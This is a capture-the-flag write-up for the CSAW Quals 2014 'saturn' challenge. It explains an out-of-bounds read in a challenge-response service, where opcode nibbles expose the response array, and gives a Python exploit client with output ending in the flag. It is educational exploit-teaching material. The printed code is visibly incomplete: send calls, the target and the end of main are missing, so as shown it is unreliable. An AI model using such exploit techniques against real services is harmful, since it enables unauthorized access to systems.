CSAW Quals 2014: saturn

2014-09-21 00:00:03



You have stolen the checking program for the CSAW Challenge-Response-Authentication-Protocol system. Unfortunately you forgot to grab the challenge-response keygen algorithm ( Can you still manage to bypass the secure system and read the flag?

nc 8888

Written by crowell


$ md5sum saturn
e679062d59ead2744ce031c801589752  saturn
$ file saturn
saturn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xa55828fef5637b04d127681ada4a06b332d54a9c, stripped
$ execstack saturn
- saturn
$ ldd saturn =>  (0xb776c000) => not found => /lib/i386-linux-gnu/ (0xb75ba000)
    /lib/ (0xb776d000)

saturn uses stdio for communication, so it requires a program like inetd to service network clients.

The service calls itself a "ChallengeResponseAuthenticationProtocol". It requires a shared object that was not given away with the binary. I assumed correctly that the shared object initializes two global arrays; challenge_list at memory address 0x0804A0C0 and response_list at 0x804A0E0.

unsigned int challenge_list[8];
unsigned int response_list[8];

Three operations are provided by the service. The opcodes are encoded in one byte. The high nibble represents the operation number, and the low nibble represents the array index for the operation to act on.

$ nc 8888
CSAW ChallengeResponseAuthenticationProtocol Flag Storage


The arrays challenge_list has 8 elements, but an opcode stores the index of that array in a nibble with a range 0 to 15. It is possible to read out of the bounds of challenge_list by using opcodes greater than 0xA7 through 0xAF.


The array response_list follows challenge_list directly in memory. These values can be read by using opcodes 0xA7 through 0xAF.


import socket
import struct

class Saturn:
    def __init__(self, host, port, logging=False):
        self.logging = logging

        family = socket.AF_INET
        type_ = socket.SOCK_STREAM
        proto = socket.IPPROTO_TCP
        self.s = socket.socket(family, type_, proto)
        self.s.connect((host, port))

        self.recv_until(("Flag Storage",))

    def send(self, tx):
        if self.logging:
            print "TX:", repr(tx)

    def recv(self, at_most=1024):
        seg = self.s.recv(at_most)
        if len(seg) == 0:
            raise Exception("Remote peer closed connection")
        if self.logging:
            print "RX:", repr(seg)
        return seg

    def recv_nbytes(self, nbytes):
        rx = ""
        for i in xrange(0, nbytes):
            rx += self.recv(1)
        return rx

    def find_needles(self, buff, needles):
        for n in needles:
            if buff.find(n) != -1:
                return True
        return False

    def recv_until(self, needles):
        rx = ""
        while self.find_needles(rx, needles) is False:
            rx += self.recv()
        return rx

    def cmd_A0(self, Ax):
        cmd = (Ax & 0xF) | 0xA0
        cmd_packed = struct.pack("B", cmd)
        response = self.recv_nbytes(4)
        response_int = struct.unpack("<I", response)[0]
        return response_int

    def cmd_E0(self, Ex, guess):
        cmd = (Ex & 0xF) | 0xE0
        cmd_packed = struct.pack("B", cmd)

        guess_packed = struct.pack("<I", guess)

    def cmd_80(self):
        cmd_packed = struct.pack("B", 0x80)

        print "trying to recover flag:"
        while 1:
            print "flag.txt: ", self.recv()

def exploit(saturn):
    for i in xrange(0, 8):
        x = saturn.cmd_A0(i+8)
        print "Solution %i: %08X" % (i, x)
        saturn.cmd_E0(i, x)

def main():
    target = ""
    saturn = Saturn(target, 8888)

if __name__ == "__main__":


$ ./
Solution 0: 4CAC67E2
Solution 1: 687C4200
Solution 2: 7E6029AD
Solution 3: 7D7B8EDE
Solution 4: 545A458B
Solution 5: 44BBFB32
Solution 6: 6A07E24C
Solution 7: 1F076A2F
trying to recover flag:
flag.txt:  flag{greetings_to_pure_digital}